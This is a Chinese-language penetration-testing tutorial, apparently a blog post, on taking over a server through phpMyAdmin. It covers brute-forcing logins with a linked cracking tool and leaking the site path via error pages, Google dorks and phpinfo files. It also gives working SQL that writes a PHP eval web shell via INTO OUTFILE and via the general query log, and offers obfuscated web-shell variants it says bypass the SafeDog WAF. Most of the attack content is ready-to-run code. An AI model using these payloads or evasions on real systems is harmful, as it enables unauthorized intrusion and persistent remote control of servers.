phpMyAdmin渗透思路

2022-11-02 13:27:17 浏览数 (2)

0x001 前言

  phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

  在对目标进行信息收集时,若存在phpMyAdmin目录,尝试通过弱口令或者暴力破解进入数据库,之后进一步getShell。

  • phpMyAdmin多线程破解工具 点击下载 提取码: pkij

0x002 实验环境

  1. VMare 15.5 pro
  2. windows7 64位
  3. phpStudy 集成环境

0x003 getShell 前提

  1. 管理员root权限
  2. 知道网站的物理路径
  3. 具有读写权限

0x004 爆网站路径方法

插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。

单引号爆路径

直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

代码语言:javascript复制
www.xxx.com/news.php?id=1′

错误参数值爆路径

将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。

代码语言:javascript复制
www.xxx.com/researcharchive.php?id=-1

Google爆路径

结合关键字和site语法搜索出错页面的网页快照,常见关键字有warningfatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。

代码语言:javascript复制
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

测试文件爆路径

很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()

代码语言:javascript复制
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

phpmyadmin爆路径

一旦找到phpMyAdmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpMyAdmin的地址可以用AppScan这类的工具去扫,也可以选择Google。

代码语言:javascript复制
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

配置文件找路径

如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

代码语言:javascript复制
Windows:
c:windowsphp.ini php配置文件
c:windowssystem32inetsrvMetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

Nginx文件类型错误解析爆路径

说明: 要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径

代码语言:javascript复制
www.xxx.com/xx.jpg/x.php

0x005 into outfile


最基础的getShell方法是写入一句话木马

代码语言:javascript复制
select '<?php eval($_POST[cmd]); ?>' into outfile '网站物理路径';

在新版本MySQL中如果直接执行这句话是肯定报错的,因为在新版本中默认设置了 secure_file_priv 限制了SQL文件导入导出

代码语言:javascript复制
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在写入一句话木马前,我们需先对读写权限进行检查,看看能否支持写入一句话

0x006 MySQL 读写权限检测

  1. secure_file_priv 会对读写文件产生影响,该参数用来限制导入导出。
代码语言:javascript复制
查询语句
show global variables like '%secure%';

查询结果
Variable_name 	Value
secure_auth 	OFF
secure_file_priv 	NULL

secure-file-priv特性

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  1. secure_file_priv的值为null ,表示限制MySQL 不允许导入|导出
  2. secure_file_priv的值为/tmp/ ,表示限制MySQL 的导入|导出只能发生在/tmp/目录下
  3. secure_file_priv的值没有具体值时,表示不对 MySQL 的导入|导出做限制

要想使得该语句导出成功,则需要在MySQL文件夹下修改 my.ini 文件, 在[mysqld]下加入以下内容,然后重启MySQL即可

代码语言:javascript复制
secure_auth = ON
secure_file_priv =

更改后配置后,再进行导入一句话

代码语言:javascript复制
SQL语句
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpstudy/www/shell.php'

执行结果
您的 SQL 语句已成功运行 ( 查询花费 0.0010 秒 )

然后使用工具菜刀或者冰蝎连接

0x007 日志文件写Shell


MySQL 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getShell。但是也要对生成的日志有可读可写的权限。

提示:在linux环境下可能会存在权限问题,无法执行成功,本次实验在windows环境下进行。

查看日志状态

代码语言:javascript复制
SQL语句
show variables  like  '%general%';

执行结果
general_log 	OFF
general_log_file 	C:phpStudyMySQLdatalucky-PC.log

当开启general时,所执行的SQL语句都会出现在lucky-PC.log文件

如果修改general_loggeneral_log_file的值,那么所执行的SQL语句就会对应生成,从而getShell

代码语言:javascript复制
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='C:/phpStudy/www/shell_log.php'

将一句话木马写入shell.log.php文件,执行SQL语句

代码语言:javascript复制
SELECT '<?php eval($_POST["cmd"]);?>'

此时可以看到在网站目录下生成了shell_log.php文件

再用工具连接成功

0x008 绕过安全狗


测试环境: 安全狗 Apache:V4.0 点击下载

安装时可能遇到无法找到服务名问题,点击查看问题解决

安全狗测试: 检测一下上述实验的两个一句话木马shell文件,很容易被检测出来了。

1. 简易一句话木马

代码语言:javascript复制
<?php eval($_POST["cmd"]); ?>

这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如eval()换成assert()或者reate_function()或者是call_user_func()

2. 字符拼接加双美元符

代码语言:javascript复制
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST['a']);
?>

3. 用函数强行分割

代码语言:javascript复制
<?php
function a($a){
return $a;}
eval (a($_REQUEST)['a']);
?>

4. 用类分割

代码语言:javascript复制
<?php
class User
{public $name=' ';
function __destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=' '.$_REQUEST['a'];
?>

以上总结的一句话,经过测试,除了第1种简易一句话,其余3种均可以绕过安全狗。

参考文章

  • https://www.jianshu.com/p/ddd41b841c36
  • https://xz.aliyun.com/t/3283#toc-8
  • https://blog.csdn.net/auuuuuuuu/article/details/83690362
  • https://www.webshell.cc/6433.html
  • https://blog.csdn.net/qq_30787769/article/details/103469700

0 人点赞